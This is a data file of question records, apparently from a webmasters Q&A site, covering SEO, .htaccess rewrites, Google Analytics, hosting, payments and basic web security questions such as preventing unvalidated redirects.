{"id":"7461","title":"Easiest solution to setup payments for a conference registration page?","text":"I've got a fair amount of website development experience, but I've been asked to setup a conference registration page in short order. However, I have absolutely zero experience with shopping carts, payment processing, etc. What is the absolutely quickest and easiest way to get this thing up and running? Here are my criteria: 1. Site is currently hosted on Godaddy.com and someone has suggested using their QuickCart 2. We cannot use any option that visits the paypal.com domain because it has been blocked my a large segment of the potential audience (on a military base). 3. Need a $0 option for speakers 4. Cancellations can be accepted, so maybe something that could handle that would be a bonus 5. There is no \"product\" other than a confirmation that they have registered for the conference."}
{"id":"7466","title":"HTAccess redirect directories to index.html","text":"I am working on a site that where I do not have permission to the server and someone else keeps changing the settings. That person just changed the settings preventing users from going to example.com\/foo\/ and seeing the index page. > This Virtual Directory does not allow contents to be listed. If you type in example.com\/foo\/index.html you can still see the file. So I want to use htaccess to redirect all urls that end in a directory to change into directory\/index.html How do I write that? I started with some code that changes .php files to .html files and tried to work from that but I couldn't quite get it to work. RewriteRule ^(.*)\\.php$ \/$1.html [R=301,L] Any suggestions?"}
{"id":"35766","title":"Compare domain names effectiveness","text":"I have a business, it's not purely online, but its presence is mainly online. I have purchased different domain names which I liked. Is there any service that allows you to compare their effectiveness attracting customers? I want to choose the one that will be more successful in making the customer click on my ads or my website as a search result or simply evokes a better service or sounds more nicely. How can I go about this in a scientific manner, with no assumptions, without spending lots of money and time? EDIT: By spending money and time I mean the most natural solution, which would be to replicate content on each (dangerous as google will penalise their ranking) and then run identical adwords campaigns for each, and see what happens. This would be very expensive, time costly and probably terrible for SEO."}
{"id":"42827","title":"Website Duplication issue","text":"We just launched our New site with lots of changes in design and content. After getting into my Cpanle i came to know that my website developing company have done this to my site. The old site is running live on this IP (68.178.212.104) while the new one is on www.acethehimalaya.com and it seems the old site is assigned to dedicated server while the new one is just using the domain name pointed to some other IP. Both the site have similar content so is there any issues regarding the SEO ? It seems the files of my new site is somehere else. I m not able to contact my web developers so can i get some suggestion. what i need to do exactly ?"}
{"id":"65094","title":"Should I setup a new Google Analytics profile after a site overhaul?","text":"We are transitioning our in house eCommerce site to Magento. We currently have done a soft roll-out of the Magento site side-by-side with our current site, making it a subdomain using `www1`. Magento has plenty of gotchas so we wanted to ease traffic into it. Anyway it's been over a month and I setup a Google Analytics profile for the new site so we could do some analysis on it. Now we are thinking about making it fully live and giving it the `www` subdomain instead of `www1`. My question is if it's okay to abandon the `www1` Google Analytics profile and replace it with the `www` profile once the cut-over is complete? Also, if I stayed with the `www1` profile am I just losing the ability to compare past data on the same screen? Seems I will always have the history of the `www` profile, I just won't be able to overlay it with the data from the new profile. Part of me likes the idea of the new profile because I did a better job of setting that up than the `www` profile, which was setup years ago and not quite as good as it could have been."}
{"id":"55349","title":"Where to place web.xml outside WAR file for secure redirect?","text":"I am running Tomcat 7 and am deploying a bunch of applications delivered to me by a third party as WAR files. I'd like to force **some** of those apps to always use SSL. (All the \"SSL\" apps are in one service; other apps outside this discussion are in another service.) I've figured out how to use _conf\\web.xml_ to redirect apps from HTTP to HTTPS, but that applies to all applications hosted by Tomcat. I've also figured out how to put _web.xml_ in an unpacked app's _web-inf_ directory; that does the trick for that specific app, but runs the risk of being overwritten if our vendor gives us a new war file to deploy. I've also tried placing the _web.xml_ file in various places under _conf\\service\\host_ , or under _appbase_ , but none seem to work. Is it possible to redirect some apps to SSL without forcing all apps to redirect, or to put the _web.xml file_ inside the extracted WAR file? Here's my _server.xml_ : <Service name=\"secure\"> <Connector port=\"80\" connectionTimeout=\"20000\" redirectPort=\"443\" URIEncoding=\"UTF-8\" enableLookups=\"false\" compression=\"on\" protocol=\"org.apache.coyote.http11.Http11Protocol\" compressableMimeType=\"text\/html,text\/xml,text\/plain,text\/javascript,application\/json,text\/css\"\/> <Connector port=\"443\" URIEncoding=\"UTF-8\" enableLookups=\"false\" compression=\"on\" protocol=\"org.apache.coyote.http11.Http11Protocol\" compressableMimeType=\"text\/html,text\/xml,text\/plain,text\/javascript,application\/json,text\/css\" scheme=\"https\" secure=\"true\" SSLEnabled=\"true\" sslProtocol=\"TLS\" keystoreFile=\"...\" keystorePass=\"...\" keystoreType=\"PKCS12\" truststoreFile=\"...\" truststorePass=\"...\" truststoreType=\"JKS\" clientAuth=\"false\" ciphers=\"SSL_RSA_WITH_RC4_128_MD5,SSL_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA,TLS_DHE_DSS_WITH_AES_128_CBC_SHA,SSL_RSA_WITH_AES_128_CBC_SHA\"\/> <Engine name=\"secure\" defaultHost=\"localhost\"> <Realm className=\"org.apache.catalina.realm.UserDatabaseRealm\" resourceName=\"UserDatabase\"\/> <Host name=\"localhost\" appBase=\"webapps\" unpackWARs=\"false\" autoDeploy=\"true\" xmlValidation=\"false\" xmlNamespaceAware=\"false\"> <\/Host> <\/Engine> <\/Service> <Service name=\"mutual-secure\"> ... <\/Service> The content of the _web.xml_ files I'm playing with is: <web-app xmlns=\"http:\/\/java.sun.com\/xml\/ns\/javaee\" xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\" xsi:schemaLocation=\"http:\/\/java.sun.com\/xml\/ns\/javaee http:\/\/java.sun.com\/xml\/ns\/javaee\/web-app_3_0.xsd\" version=\"3.0\" metadata-complete=\"true\"> <security-constraint> <web-resource-collection> <web-resource-name>All applications<\/web-resource-name> <url-pattern>\/*<\/url-pattern> <\/web-resource-collection> <user-data-constraint> <description>Redirect all requests to HTTPS<\/description> <transport-guarantee>CONFIDENTIAL<\/transport-guarantee> <\/user-data-constraint> <\/security-constraint> <\/web-app> (For _conf\\web.xml_ the security-constraint is added just before the end of the existing file, rather than create a new file.) My _webapps_ directory (currently) contains only the WAR files."}
{"id":"65091","title":"What should I call my about me page","text":"Many Search Engines says that \"about\" is a stop word, but if I want create an \"about me\" page how would this make the website's SEO worse? If it makes it worse, how could I improve or change the name: \"about me\"?"}
{"id":"1866","title":"Forced GZIP Detection on Google App Engine","text":"Some clients are appearing on our Google App Engine instances without the Accept-Encoding header. We normally use the set a cookie with an appended iframe technique (or variation thereof) to detect these and send the correct gzipped content. As Google App Engine does not let you control server side gzip, especially on static content, is there a specific cookie value to set which will force compression?"}
{"id":"55341","title":"Can I easily track site performance over time with Google PageSpeed?","text":"Are there any implementations of the Google PageSpeed API that allow one to track the performance of a site over time?"}
{"id":"16075","title":"Cost effective way to provide static media content","text":"I'd like to be able to deliver around 50MB of static content, either in about 30 individual files up to 10MB or grouped into 3 compressed files, around 5k to 20k times a day. Ideally I'd like to put some sort of very basic security around providing the data to ensure that a request is from the expected source, but if tossing the security for a big reduction in price is possible then it's an option. Does anyone have any suggestions other than what I've found: Google AppEngine is $0.12\/GB & I believe has a file size limit of 10MB so I'd have to break the data up a bit. So a rough calculation would seem to be that this would cost me about $30 to $120 a day. Or I've seen something like what seems to be just public static content delivery with no type of logic capabilities like Usenet.nl at what I think calculates to about $0.025\/GB which would cost me about $6 to $25 a day. Any idea if I'm going about these calculations right & if there might be a better option for just static content on a decently high volume delivery? Again some basic security would be great but if cost is greatly reduced without it then I'm up for that."}
{"id":"61519","title":"Does a longer registration length\/period for a domain name improve its SEO and search ranking?","text":"While I was renewing a domain of mine with a well-known domain registrar, the support person who was on call with me said that I'd improve the SEO ranking of my domain if I increased the registration length from 1 year to 5 years instead. The explanation that he gave me was something along the lines that a search engine like Google doesn't like to send users to domains and businesses that may no longer exist, and that by registering my domain for 5 years instead of just 1, Google would have higher confidence that I'm serious about keeping my business around for the long-term. Needless to say, I was quite skeptical. **Does the registration\/renewal length of a domain name affect its SEO and search result ranking for search engines such as Google?**"}
{"id":"22665","title":"Best and easy way to add video to website","text":"I want to add videos to my website. I want to click on images and then to show video in \"window\" and start playing (popups like lightbox). I just don´t know what is best way to do it. I think one of the way is jQuery. I know that there is easy way with video tag in HTML5 but I want that this could be play on most browsers (not just with support HTML5, but not so old as IE6 :) ) and I don´t want to use flash or silverlight. What options I have? Is jQuery the way? And how can I do this? Thanks"}
{"id":"54021","title":"Should I use canonical in case of partial content duplication?","text":"I created my own template (template refers to design + static content). Thus, the design and some content is static in all the pages. I created 5 landing pages, all landing pages has same design and 40% static content is common to all the pages. Titles, Meta Desc, Meta Keywords, 60% Body text is unique. I splitted body into 2 types <body> <div id=\"dynamic-content\"> <!-- This content is different in each pages --> <\/div> <div id=\"static-content\"> <!-- This content is static in all pages --> <\/div> <\/body> Dynamic content is around 60% and static content is around 40%. My idea is writing a rich optimised content in `dynamic-content` div and assign the right titles, description to each pages so that each page is optimised for different keywords. And, that 40% static content is just about my website and no way related to Keyword. Should I use canonical anywhere as I am still reusing the same design and 40% content in all the pages. And, if yes, where should I place the canonical tag? is that as `<link rel=\"canonical\" href=\"http:\/\/www.mydomain.com\/mymainpage.html\" \/>` or should I use something like `<div id=\"static-content\" rel=\"canonical\"> <\/div>` Or is there any other ways to protect my Google rankings?"}
{"id":"22660","title":"How do I set \"Starting at : $12\" value for a Grouped product in Magento? ","text":"I recently created a grouped product by going through a tutorial. Everything is working fine except for the fact that, in the front end, the text \"Starting at : $0.00\" is set to \"$0.00\" instead of the associated products' actual minimum price. How do I resolve this?"}
{"id":"60915","title":"Preventing Unvalidated Redirects","text":"I have a project I'm working on, and I recently decided to add a \"login bounceback\" to my site. The idea is simple, and very common: The user is browsing the site, and runs into something they need to log in for. After logging in, they are bounced back to where they were before. This is, of course, ridiculously easy to implement. My login link just provides the original location in a query variable, and my login page redirects to that location after success using a \"Location:\" header. This is very simple, and doesn't require any server-side state. However, I've always got security on the mind, especially for my users, so I want to take steps to protect them from being redirected to arbitrary places. (See https:\/\/www.owasp.org\/index.php\/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards) My solution for this is very simple: after reading the query variable, if the URL doesn't begin with \"\/\", I reject it. (The user gets sent to a default page instead.) This is based on the reasoning that a relative URL must point back to my site, and the only URLs that can start with \"\/\" are relative. My site will only ever generate relative URLs , so I'm fine with this rather restrictive scheme. (Additionally, under this scheme, I can easily make it even tighter by prepending the protocol and my domain to the URL. I could even whitelist other domains later.) # The Question Is redirecting only to URLs that start with \"\/\" sufficient validation? Is there some way this could be abused to send a user somewhere outside my site? If so, how could I prevent it? Some more context: I'm using PHP, but I don't think that's really important to the core of the question. The site does access checks on all pages, and all urls that cause an action are protected from CSRFs, so the user can be sent to anywhere on my site without negative consequences. # EDIT: Elaboration There appear to be two main dangers to Unvalidated Redirects: * The request pointing to another possibly malicious site, possibly allowing XSS, or giving the user a false sense of safety. * The request pointing to a sensitive URL on your own site, such as a URL that takes an action. (The same type of that is sensitive to a CSRF.) However, I believe I've prevented these problems: - My script only allows redirection to my own site, meaning I only need to protect against dangerous URLs on my own site. On that note... - I'm already building my site to be hardened against CSRFs, so there shouldn't be any dangerous URLs to exploit. (Not even a logout URL.) Even if the user is sent to \"interesting.php\", nothing will happen, due to the request being malformed. (Any action on the site requires deliberate user action.) I'll be stripping query strings from the URL as well, although I don't use them for anything important. So it seems to me that the worst thing that could happen with a manipulated URL is the user being sent to an unexpected page. (Or perhaps a 404.) Is this reasoning flawed?"}
{"id":"26575","title":"Should I enable \"Anonymously with Google and others\" in Analytics to see my site in Website trends","text":"I want my site to be appear in Website Trends. I have Google Analytics on my site, and my site is listed on Website Trends, but there is no data. I have enabled (long time ago) the \"With other Google products only\" option. Do I have to enable \"Anonymously with Google and others\" option to be my site in Website Trends?"}
{"id":"10891","title":"SEO + international sites? country.domain.com or domain.country?","text":"is it better to have seperate country specific domains (which costs more money) or subdomains which define the country, for better SEO? eg. * stackoverflow.com * stackoverflow.com.au * stackoverflow.co.uk vs * stackoverflow.com * au.stackoverflow.com * uk.stackoverflow.com Assumption: int the search engine web master tools, each subdomain are associated to a country. eg. `au.stackoverflow.com` is associated to the country _Australia_. cheers! ## Update I understand that both methods do work, especially when i utilize the assumption, listed above. The question is about: _Which method is better_? Is there such a small SEO difference between them? Is the first method _way way way_ better than the second with getting better SEO results? ## Update #2 A number of folks have suggested that the following is a good\/better approach: * stackoverflow.com\/ * stackoverflow.com\/au * stackoverflow.com\/uk > By adding a country specific _iso code_ to the end of the url\/the first > folder of the domain can be recognised as the country. But a number of SEO mates have suggested that this is a valuable waste of folder level space. Er.. how can i explain. Ok, it's been suggested by some SEO experts that if the _number of levels or folders in the domain exceeds 5_ then the page drops dramatically in importance. Basically, you don't want to make it deep. As such, adding the country as the first level can be considered a waste, especially when it can be handled by the domain OR subdomain - hence the question :) So, any more thoughts on this? (Maybe SO is the wrong place to ask this question?)"}
{"id":"10890","title":"Most flexible free mailing service to be used with PHP","text":"I need one that allowes me to * update the mailing list from service From my PHP code * sending single new users From my code * send single messages to specified user From my code * send 'updates\/news' to all users From my code Something is telling me to go for feedburner"}
{"id":"209","title":"Good tool to crawl my site and help me find dead link and unlinked files","text":"I have a pretty big legacy site with literally thousands of PDFs that are sometimes accounting for in a database, but often are just links on the page, and are stored in most every directory on the site. I have written a php crawler to follow all the links on my site, and then I am comparing that against a dump of the directory structure, but is there something easier?"}
{"id":"2327","title":"SEO: Will this site give me trouble?","text":"I was looking at my google analytic and i had 3 visitors to my site which i told -no one- about nor have any content on it. They all came from *.golbnet.com. Why is this site linking me? will this give me trouble?"}
{"id":"24712","title":"Google Analytics just start tracking Windows Phone as an OS?","text":"Just wondering if anyone else has dug into the Windows Phone traffic they have in Google Analytics? The graph below describes it better than I can. The timeline is showing the last year, and we have nothing before November.  Did Google just incorporate\/recognize this lately? Our tags haven't changed. The other thing I notice is that if you check out the version, there are only visitors from 7.0 and 7.5. Does Google only track 7.0 onwards, or can I find stats on earlier devices (i.e. Windows Phone 6.5, Windows Mobile 6.1 devices, etc...) somewhere else? I would **really** prefer not to have to look by screen resolution, as that's a mess of information to look at. Thanks in advance for any anecdotes\/comments\/answers people might be able to provide."}
{"id":"24716","title":".htaccess rule not working without HTTP redirect [R]","text":"I am using the following .htaccess with Wordpress to remove index.php from the visible URL. This works but forces an http redirect so the URL changes in the browser window. If I remove the [R] it no longer works. Why would this happen? RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ \/index.php\/$1 [R]"}
{"id":"50643","title":"How can I get a list of all indexed pages for my domain?","text":"We're in the process of migrating an outdated e-commerce cart to Magento. Part of this process will entail configuring proper 301 redirects. I'm aiming to get a list of all indexed pages to throw our solution against and resolve as many potential issues as possible before going live. Ideally I'd just need a CSV containing the URIs indexed by the Search Engines for our domain. Looking at a similar question here, it seems there is no simple way to export this data from either Google or Bing's Webmaster tools, given that this cart has tens of thousands of products (and thus tens of thousands of indexed pages). I've run across a few other 3rd party utilities such as Screaming Frog and web-based ones like searchenginegenie and internetmarketingninjas, but I've never used any of them and am hesitant to start throwing additional traffic at our site unless I know we'll get what we need out of it. Has anyone out there used these tools to do something similar, or found some way to retrieve more than the top 1000 records from GWT (or something similar from Bing)?"}
{"id":"24719","title":"HTTP occurring twice in a URL","text":"I ran into a website today that had two URLs and I'm completely stunned. The website, not to be specific, has a full address of `http:\/\/example\/cat\/http:\/\/example\/dog`. I will say that the first part is a randomly generated ad that pops up, but regardless isn't going to two addresses the equivalent of being at two different houses at the same time i.e. impossible? Anyhow, I just wanted some clarification on how it works. And before you ask, the site is not exactly something that I would paste on an affluent forum thus the reason I have left it out."}
{"id":"50647","title":"Other interest outbound link should it be nofollow?","text":"I am usually blogging about programming issues in my blog. Occasionally I like to write guest post on \"travel\" category. I like to link the post from my blog as _Other interest_. Both are entirely different categories. Should I give the `rel=\"nofollow\"` to those links."}
{"id":"61202","title":"http header rel=“canonical” through htaccess for dynamic content","text":"I have a large number of URLS where I need to specify rel=\"canonical\", The URL structure is like: `example.c.o.m\/abcd?q=ccccc&location=ffff&x=pp&y=qq` I need to strip the last two parameters `(&x=pp&y=qq)` and show `example.com\/abcd?q=ccccc&location=ffff` as my canonical link in the header. I have this as moz reference and tried various ways with _mod_RewriteRule_. I'm looking for either a htaccess solution or that of one that works with Joomla CMS."}
{"id":"4683","title":"What are the most useful and useless metrics to track in SEO?","text":"For example, ~~PageRank~~ (or not)... :-) ...question, still stands, just no example now. Factors include how actionable it is, consistency of availability, or correlation to ranking."}
{"id":"4733","title":"Should I worry about people disabling Javascript?","text":"Often when picking new tools and frameworks I see the warning \"Will not work if the user has disabled Javascript\". I then look at my Javascript powered slideshow, Javascript powered menu, and Javascript powered gallery. Funnily enough, I chose these to replace the original flash based versions since I worried about the number of people that would see them. But is worrying about people disabling Javascript a legitimate worry? Should I try and design my site with JS being disabled in mind?"}
{"id":"31911","title":"ads are killing my page speed","text":"What are others doing to mitigate the horror that is the slow speed of running ads on their sites? I don't do direct sales of ads & rely on third parties like rubicon, openx, etc. served through Google DFP which are so slow I want to shoot my browser. Any and all suggestions welcome! Notice - I already load the ads through google DPF - I'm putting ad loading to the last things run"}
{"id":"2317","title":"Any way to compare traffic to two pages on the same graph in Google Analytics?","text":"Is there any way to compare the traffic to two different pages on the same graph in Google Analytics? I want to see how Page A compares to Page B over time in terms of number of pageviews."}
{"id":"42235","title":"Line Feed or Carriage Return - What to use?","text":"> In javascript, Line Feed and Carriage Return behaves similarly. Which one to use and when? OR Can it be used alternatively? ### Unicode Characters: Line Feed: \\u000A Carriage Return: \\u000D ### Code: <script> alert(\"Hello \\u000A World - <LF>\"); alert(\"Hello \\u000D World - <CR>\"); <\/script>"}
{"id":"5857","title":"Can I make a website template based on a PC game?","text":"I was thinking to create a WordPress theme related to Starcraft 2. The theme would be free (under GPL). Am I allowed to do this or is it a copyright violation?"}
{"id":"5851","title":"Tooltips for keyboard users","text":"The `title` attribute can be used on almost any HTML element, particularly hyperlinks, to provide some additional detail of the element. This is useful for screen readers, but not so much when using the keyboard to tab through elements. I often use the **TAB** key to skip over some links in a page to avoid having to reach for the mouse. Yet the title tooltips are only visible when the mouse is hovered over the matching element. Is this a failing of the browser, or is it something that should be accounted for in site design and implementation?"}
{"id":"25080","title":"Best FREE Mailing List Manager on Shared Hosting","text":"> **Possible Duplicate:** > What's the a good mailing list manager\/platform? What's the best FREE ( **open-source** ) (and\/or easy to install) **Mailing List Manager** to be used on Godaddy's Shared Hosting (Linux - Deluxe 4GH) I have no real preference when it comes to implementation language anything goes (PHP, python, or anything else). Any experiences or \"do\"s and \"don't\"s? **More Info** : I'm going to be using the mailing list as a way to promote my kart\/auto\/moto racing events to my costumers, probably 300...500 users. I heard phplist is good. Does anyone know if it's possible to install it on godaddy?"}
{"id":"37850","title":"Physical address and contact details in Meta tags","text":"I remember someone once saying it was useful (for SEO purposes) to include your address and contact details in the site's Meta tags. I don't recall if he meant in in the meta description or in another type of meta tag. Have you hear of this strategy before? I believe the person implied that Google would tie all of your Local Listings together for a better SEO score if you listed matching contact details in your meta tags."}
{"id":"17656","title":"I don't have a Mac. Someone tested my website on a Mac and the Google Maps' Javascript is not working. How do I test it?","text":"How do I test if a website works on an old Mac without owning a Mac? Are there emulates. Does Safari work the same on both XP and a Mac? On the PC the website works on ie 7-9, FireFox, Opera, Safari, and Chrome. It works on a very old iPhone too but not a five year old Mac. Here is a screen shot of I just got from Browser Shots on Safari 4.0 which is exactly how it's supposed to look. "}
{"id":"64802","title":"The IP location of server where is the webpage is important for google results?","text":"Recently I have moved my hosting in San Francisco, and I want to know if I can get more visitors from there."}
{"id":"4020","title":"using multiple sitemaps in a domain","text":"I have a domain http:\/\/sub.example.com\/. In it there is a wordpress blog at http:\/\/sub.example.com\/blog and other more static content at http:\/\/sub.example.com\/other, http:\/\/sub.example.com\/stuff, etc, etc As the blog content is updated quite often I use a WP sitemap plugin to generate it for the blog dynamically for convenience. Is there any penalty\/negatives in using this while also maintaining a separate one for the whole subdomain bar this blog at http:\/\/sub.example.com\/sitemap.xml?"}
{"id":"13546","title":"htaccess cookie results in inf-loop, how should i do this?","text":"I have a cookie on my site and would like to have this cookie in the url (*always), something like this: www.domain.com\/?lang=en OR www.domain.com\/subscribe\/?lang=en *(i'm not sure if i would like it ALWAYS, maybe i can exclude some directories i guess i can do this with adding a extra RewriteCond) But the main problem is my code now results in a loop, below the code i use: RewriteCond %{HTTP_COOKIE} lang=([^;]+) [NC] RewriteRule ^(.*)$ \/$1?lang=%1 [R,QSA,L] Now my url results in: www.domain.com\/?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en?lang=en.... etc. How can i simply add a cookie information to the url only once? and not loop all the time..."}
{"id":"13540","title":"HELP! When I fixed the redirect from my naked domain, the hosted links on my site no longer connect, how do i fix this?","text":"I've been having so much trouble figuring this out. My site is hosted thru godaddy, and is a music blog. We upload music for streaming and download. The site wouldnt redirect from the naked domain, so i figured out how to fix it. But when i got it to redirect, all the links to the music we host no longer worked? I need help! how do i make this work??"}
{"id":"56831","title":"Why does Google PageSpeed Insights show a lower score for my website when using a CDN?","text":"I'm trying to improve my site's PageSpeed. So far so good, I received score of 91 points for mobile and 97 points for desktops using Google PageSpeed Insights. However, when I add a CDN service for CSS, JavaScript, and images, the mobile score drops to 79 while the desktop score remains at 97 points. My question is: Why am I receiving a lower core when using a CDN? There are no additional warnings in the Google PageSpeed Insights report page, just that the mobile score drops by 12 points. I'm using W3TC\/MaxCDN pull zone with default settings."}
{"id":"17386","title":"Weird .ASP pages from my non-ASP site generating 404s","text":"In Google Webmaster Tools, I have a huge list of \"Not Found\" crawl errors (404) with URLs that look like this: `http:\/\/www.exclusivevillas.co.za\/villa_view.asp?vSeq=82&activitySeq=3&page=3`, seemingly originating from URLs very similar to that (eg `http:\/\/www.exclusivevillas.co.za\/villa_view.asp?vSeq=82&activitySeq=3&page=4`. Thing is, the site is WordPress. Has been for almost a year now. Was plain html before that. I don't know where these ASP requests are coming from. And furthermore, the dates these supposed ASP pages requested these other ASP pages, resulting in 404s, are very recent. What's going on?"}
{"id":"68335","title":"Is Google indexing pages that has no connection with other pages?","text":"I am working on a web project that has nearly 100 thousand instant users and there is a webpage that we are using for test cases. There are no links pointing to it from other pages. It shouldn't be indexed by Google or any other search engines. \"noindex\" can be used in this situation, I know but I wonder if Google (or any others) indexes this page, if I don't do anything to prevent it."}
{"id":"57610","title":"Can we make those who sign up to our page automatically follow our Facebook page?","text":"Is it possible to make somebody that logs in with Facebook automatically like our Facebook page? I have the same question about Twitter. If anyone logs in via Twitter, can they automatically follow us?"}
{"id":"43698","title":"Hosting Video's on Youtube or a service like youtube with HTML5 \/ FLASH switching","text":"We have 1000's of small product videos currently being played through a Flash player. We want to make this product videos work on apple devices. It's my understanding that Youtube auto switches from flash to HTML5 depending on the device. I thought YouTube allows you to have a business account and use their \"Chromeless\" player to show your videos unbranded. But looking they don't seem to offer that service. Are there any other services that we can upload a file format to, have complete control over the player and have it select the correct file format for the device automagically? Preferably we would only like the videos accessible if called from the website, not just for general view like youtube."}
{"id":"53123","title":"When using Google Apps, is it possible to have multiple email addresses without being charged as additional users?","text":"Google Apps for Business, now charges $5\/mo\/user. I would like to create multiple email addresses info@, sales@, etc... but all go to the same mailbox (me). Is there a way to go about this without essentially paying $5.00\/email address?"}
{"id":"43693","title":"Run Google Analytics reports across multiple accounts \/ properties","text":"So I have a single login for Google Analytics that tracks multiple accounts with multiple properties as so. Account 1 * Property A * Property B * Property C * Property D Account 2 * Property E * Property F * Property G These sites are all separate and it's not a case that visitors will go to site A and then onto site B or anything like that. All sites are their own self- contained unit. I would like to create a report that was able to give me stats across all these sites such as _browser usage_ , _user locations_ and such like. Any ideas how I could go about this?"}
{"id":"4524","title":"Does Heading tags like <h1> and <h2> make a big differences during SEO?","text":"Does Heading tags like `<h1>` and `<h2>` make a big differences during SEO?"}
{"id":"19626","title":"How can i find keywords or phrase which fetch less than 100 or even no results, without manually doing it?","text":"> **Possible Duplicate:** > Is there any way to find out how often a certain query is sent to a search > engine? How can i find keywords or phrase which fetch less than 100 or even no results, without manually doing it? I know it will take time for any person to go manually research. Any tool paid or free. **\"Time is money\"**"}
{"id":"16383","title":"Google Analytics - Goals setup regular expression match","text":"I have urls like the following: * `http:\/\/example.com\/item\/1` * `http:\/\/example.com\/item\/1341` * `http:\/\/example.com\/item\/33324` I want to set up a funnel in Google Analytics and I understand that I can use a regular expression. What would i enter to match all the above URLs i.e `\/item\/#{id}`?"}
{"id":"51116","title":"Is PageRank passed just once?","text":"I'd like to know if link juice is passed just once? For example if I place a link in a website that passes little to no juice today, but 6 months down the road the link is still there but the website now passes a lot of juice... do I get a share of that link juice, or do I get it just once?"}
{"id":"16384","title":"Auto subscribe checkbox on registration","text":"What are the laws on this? If I have a simple registration form, can I have underneath it: [x] Subscribe to the blog [x] Email me when a new release is issued Auto checked? Or do they need to be Opt In by law (I remember reading this somewhere). If it makes a difference, we are registered in the UK, and our web server is also UK located. ## Edit I'm not sure if people quite understand this question, what I mean is, can I have these check boxes checked by default? I see a lot of sites doing this. It will be presented in a 100% clear and non deceptive way."}
{"id":"51113","title":"One .htaccess file with rewrite rules for all domains","text":"Our server is configured with multiple domains which reside in subfolders of the `public_html` folder. So `domain1.com` is located in `\/home\/user\/public_html\/domain1.com` and `domain2.com` is located in `\/home\/user\/public_html\/domain2.com` and so on. I've placed a _.htaccess_ file in `\/home\/user\/public_html` so I can put settings in it that apply to all domains. I've added two things to this _.htaccess_ file. One is a special environment variable which is getting recognized by PHP just fine. The other is a redirect for any folder called `.svn` to a file called non-existant. So my _.htaccess_ file looks like this: RewriteEngine on RewriteRule \/\\.svn \/non-existant SetEnv ENVIRONMENT PRODUCTION The problem is that the rewrite rule isn't working at all. The environment variable is, so I know this file is being processed by Apache, but the rewrite rule doesn't work. I've tried several other rewrite rules and none of them seem to be working. Do rewrite rules only work if they are in the document_root?"}
{"id":"16388","title":"Switching hosting provider. Preserve emails?","text":"We're looking to switch our domain and hosting provider to a company that gives a little more freedom and is less of a financial burden. However, we cannot afford to have any disruption to email service - the emails are part of the current hosting package. Is there a way we can switch our hosting provider without email disruption? Or is it a matter of 'out of business hours' switching? Cheers, Dan"}
{"id":"7883","title":"DNS hijack - prevention tips","text":"Over the weekend it looks like the **DNS was hijacked on two of my domains**. My set up is I have the sites registered on 1and1.co.uk, with dns nameservers pointing to Hostgator in the US where the sites are hosted. I also had cloudflare CDN running on the sites (via hostgator cpanel). **My question is any ideas as to how this happened, and how I could either monitor it so I know if it occurs again, or strengthen the set up\/service to minimise the risk.** **History:** * I received a ping from my site monitoring service that the sites were down. * When I checked the sites were up so I assumed it was local to the monitoring service * I received a ping last night the sites were up * When I checked, one site was redirecting to download-manual.com (and checking that URL now, the home page is not the same as the one I saw, so they too may have been hijacked\/hacked) * The other site URL remained the same but had one of those standard site search pages which bounce you off to either phishing or paid for search sites I notified Hostgator who told me Cloudflare or 1and1 were the issue. I removed cloudflare, and contacted both them and hostgator, and am awaiting a response, but am not holding my breath. Is this common? I've never heard of this or come across this before. It's pretty scary that this can happen so easily. Appreciate any input. **Update: I've now spoken to support at 1and1, Hostgator, and Cloudflare, and each one claims it has nothing to do with them, and must be one of the others. Larry, curly, moe."}
{"id":"26370","title":"what is the primary domain in godaddy for?","text":"I just bought the deluxe web-hosting service of godaddy and am very confused with the term \"primary domain\". What is this thing for and can I remove it so I can organize my websites in different directories. \/root\/site1 \/root\/site2 \/root\/site3 .... PS I used to work with MediaTemple and remember that there was no primary domain.... please help."}
{"id":"51119","title":"Using an old penalized domain for a new website","text":"I had a website with 2 domains like these: `firstdomain.com` and `first- domain.com`. The main domain was `first-domain.com` and the other one was 301 redirected to first one. The main domain got a Google Penguin penalty some months ago. I uploaded the site on an new domain and removed Google index of old domain by using the remove URL tool in Webmaster Tools. Now, I want to use `firstdomain.com` (which was redirected to the penalized domain) for a new and fresh website with new and perfect content. Is it probable that history of this domain affects the new website and harms its ranking?"}
{"id":"11767","title":"ASP.Net SEO Architecture Pattern","text":"I come across with a Business Team, for which their corporate site is on asp.net platform. Those folks are pretty much interested to improve their site by increasing SEO Performance. I am interested to know few sample links or articles about ASP.Net SEO Architectural Pattern which helps me to explain them about re-engineering the site !!!"}
{"id":"20744","title":"Google indicates that it has \"omitted some entries very similar\"","text":"I just went to http:\/\/www.virante.com\/ and entered my website and I encountered this warning: > Google indicates that it has \"omitted some entries very similar\" to the top > 1000 pages on your site. This similarity may be a duplicate content penalty > preventing these pages from being considered uniquely valuable in Google's > index What exactly this message means? (instead of just simple line answer that my site has duplicate content)"}
{"id":"17031","title":"What's the most popular programming language for creating websites?","text":"I want to know the details of websites developed using the different languages like .Net, Java, PHP, Python. Which programming language is mostly used?"}
{"id":"17033","title":"The Necessity of a Disclaimer","text":"I am a blogger. I write science articles. I study science and write articles in my blog in simple words for the general public to understand. Does this require a disclaimer as I do not want to see something like the following in my inbox > I read your blog and damaged something. Pay me compensation."}
{"id":"17034","title":"Products details problem with PayPal Express Checkout","text":"After I redirect from my shopping cart to Paypal using `SetExpressCheckout` I can't see my product details on the left. I have the following code: METHOD=SetExpressCheckout& VERSION=54.0& PWD=xxxxxxx& USER=xxxxxxx& SIGNATURE=xxxxxx& RETURNURL=xxxxxx& CANCELURL=xxxxxxx& PAYMENTACTION=Sale& AMT=20& SOLUTIONTYPE=Sole& LANDINGPAGE=Billing& L_PAYMENTREQUEST_0_NAME0=Product+1a& L_PAYMENTREQUEST_0_NUMBER0=1& L_PAYMENTREQUEST_0_AMT0=20.00& L_PAYMENTREQUEST_0_QTY0=2& L_PAYMENTREQUEST_0_DESC0=descriere& ALLOWNOTE=1"}
